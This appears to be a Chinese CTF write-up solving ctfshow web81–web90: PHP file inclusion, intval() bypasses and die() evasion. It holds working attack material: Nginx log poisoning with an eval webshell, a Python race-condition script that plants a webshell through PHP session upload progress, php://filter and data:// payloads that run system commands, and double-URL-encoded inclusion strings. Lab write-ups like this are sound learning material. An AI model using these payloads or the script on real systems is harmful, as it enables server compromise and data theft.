Web 入门
- 索引
- web81
- 题解
- web82
- 题解
- 原理
- web83
- 题解
- web84
- 题解
- web85
- 题解
- web86
- 题解
- web87
- 题解
- 原理
- web88
- 题解
- web89
- 题解
- web90
- 题解
ctf - web入门
索引
- web81:include() 利用,一句话木马之 Nginx 日志利用。
- web82~86:include() 利用,条件竞争,利用 session 文件写入一句话木马。
- web87:file_put_contents() 利用,伪协议
php://filter/
。 - web88:include() 利用,正则绕过,伪协议
data://
。 - web89:PHP 特性之 intval()。
- web90:PHP 特性之 intval()。
web81
和 web80 类似。
这一题发现一个问题。如果不使用 BurpSuite 传递一句话木马,可能木马写进日志时特殊字符会被 url 编码,导致木马失效。
刚做这题时使用 hackbar 传参出现了这个问题。可能是编码问题。
题解
比 web80 多过滤了【:】。
可以继续用 web80 的方法。
看下日志。
url + ?file=/var/log/nginx/access.log
传递一句话木马。
url + ?file=<?=eval($_POST['hi']);?>
蚁剑连接日志文件。
url地址:url + ?file=/var/log/nginx/access.log
密码:hi
连上之后即可。
web82
题解
该题较上一题多过滤了【.】。
方法一:使用下面的脚本。这个脚本适用于 web82~web86。
import requests
import io
import threadingurl='http://b04c7980-d374-4c39-9ebc-a612708262c8.challenge.ctf.show/'
sessionid='ctfshow'
data={"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
} '''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''# /tmp/sess_sessionid 中写入一句话木马。
def write(session): fileBytes = io.BytesIO(b'a'*1024*50)while True:response=session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},cookies={'PHPSESSID':sessionid},files={'file':('ctfshow.jpg',fileBytes)})# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):while True:response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={'PHPSESSID':sessionid})# 访问木马文件,如果访问到了就代表竞争成功resposne2=session.get(url+'muma.php')if resposne2.status_code==200:print('++++++done++++++')else:print(resposne2.status_code)if __name__ == '__main__':evnet=threading.Event()# 写入和访问分别设置 5 个线程。with requests.session() as session:for i in range(5):threading.Thread(target=write,args=(session,)).start()for i in range(5):threading.Thread(target=read,args=(session,)).start()evnet.set()
运行脚本并成功写入后即可访问木马。
方法二:直接使用 burp。
参考文章:
[CTFSHOW]文件包含78-88
web入门文件包含82-86
原理
条件竞争。
例如,当打开一个文件时,就无法删除该文件。
所以,只要在上传文件的瞬间访问它,服务器来不及执行删除操作,就无法删除该文件。
参考文章:
ctfshow学习记录-web入门(文件包含78-87)
利用session.upload_progress进行文件包含和反序列化渗透
web83
题解
加了两个函数:
session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件。session_destroy():
删除当前用户对应的session文件以及释放sessionid。
但条件竞争使用的是上传那一瞬间创建的 session,所以不影响。
依旧使用 web82 的脚本。
web84
题解
system(rm -rf /tmp/*);
,因为 session.upload_progress.cleanup = on
会清空对应 session 文件中的内容,所以加上删除对竞争的影响不大。
依旧使用 web82 的脚本。
web85
题解
增加了内容识别,如果有【<】就 die,不影响竞争。
依旧使用 web82 的脚本。
web86
题解
dirname(__FILE__)
:表示当前文件的绝对路径。
set_include_path()
:用来设置 include 的路径,即 include() 可以不提供文件的完整路径。
include 文件时,当包含路径既不是相对路径,也不是绝对路径时,会先查找 include_path 所设置的目录。
web82 脚本里用的是完整路径,不影响竞争。
web87
题解
根据题目,可以根据 file 生成一个 php 文件,文件内容可由 content 参数传递。
注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次url编码。
另外,需要绕过 die() 函数。
根据文章 谈一谈php://filter的妙用 ,可以有以下思路:
- base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。
- 所以对于
<?php die('大佬别秀了');?>
,base64 编解码过滤之后就只有phpdie
6个字符了,即可进行绕过。 - 前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。
- 后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。
- 由于 base64 是4个一组,而 phpdie 只有六个,所以要加两个字母凑足base64的格式。
这题传参时,file 用 get 方法,content 用 post 方法。
思路说完了,开搞开搞。
将 php://filter/write=convert.base64-decode/resource=123.php 进行两次 url 编码。(服务器生成 123.php 文件)
php://filter/write=convert.base64-decode/resource=123.php
两次 url 编码:
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
接下来对于 content 参数,就有很多方法了。
法一:
可传递 <?php system('ls');
,需 base64 编码:
<?php system('ls');
base64 编码:
PD9waHAgc3lzdGVtKCdscycpOw==
传递 file 参数与 content 参数,content 需要添加两个字母凑数,这里添加 aa。
url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30content=aaPD9waHAgc3lzdGVtKCdscycpOw==
然后可查看生成的 123.php 文件。
url + 123.php
发现 fl0g.php 文件。
那就传递 <?php system('cat f*.php');
。
<?php system('cat f*.php');
base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7
传递 file 参数与 content 参数。
url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30content=aaPD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7
再次查看 123.php 即可。
法二:
直接传递一句话木马 <?=eval($_POST['hi']);
。
<?=eval($_POST['hi']);
base64 编码:
PD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==
传递 file 参数与 content 参数,content 需要添加两个字母凑数,这里添加 aa。
url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30content=aaPD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==
蚁剑连接 123.php 即可。
法三:
这是 CTFshow 提供的 writeup:
php://filter/write=string.rot13/resource=2.php
这里就先不尝试了。
这题不知道为什么传 content 参数时,php 语句不要加末尾的 “ ?> ”。可能什么地方出了问题。
原理
- file_put_contents(filename, data):将数据写入文件。
- urldecode():解码已编码的 URL 字符串。
谈一谈php://filter的妙用
web88
题解
这一题可以用 data:// 协议。
过滤了 “ = ” 号,如果构造命令时,base64 编码出现 “ = ”,可以尝试在后面加空格,避免等号出现。
构造 <?php system('cat f*.php');?>
。在语句后添加空格避免出现等号。
<?php system('cat f*.php');?>
base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g
解:
url + ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g
传参后查看源码即可。
web89
题解
- preg_match()
执行匹配正则表达式。只能处理字符串,所以当传入数组时会返回 false。 - intval(value)
用于获取变量的整数值。成功时返回 value 的 integer 值,失败时返回 0。空的数组返回 0,非空的数组返回 1。
所以这题传个数组就行。
url + ?num[]=1
web90
题解
- intval(mixed $value, int $base = 10)
通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。
如果 base 是 0,通过检测 value 的格式来决定使用的进制:
- 如果字符串包括了 “0x”(或 “0X”)的前缀,使用 16 进制(hex)
- 如果字符串以 “0” 开始,使用 8 进制(octal)
- 否则将使用 10 进制(decimal)。
intval() 还有一个特性。输入的值如果是字符串,它返回的内容取决于第一个字符左侧的数字。如 intval(‘11a22’)=11。
法一:
使用非十进制数传递:
url + ?num=010574
法二:
url + ?num=4476a
美人赠我锦绣段,何以报之青玉案。
——《四愁诗》(两汉)张衡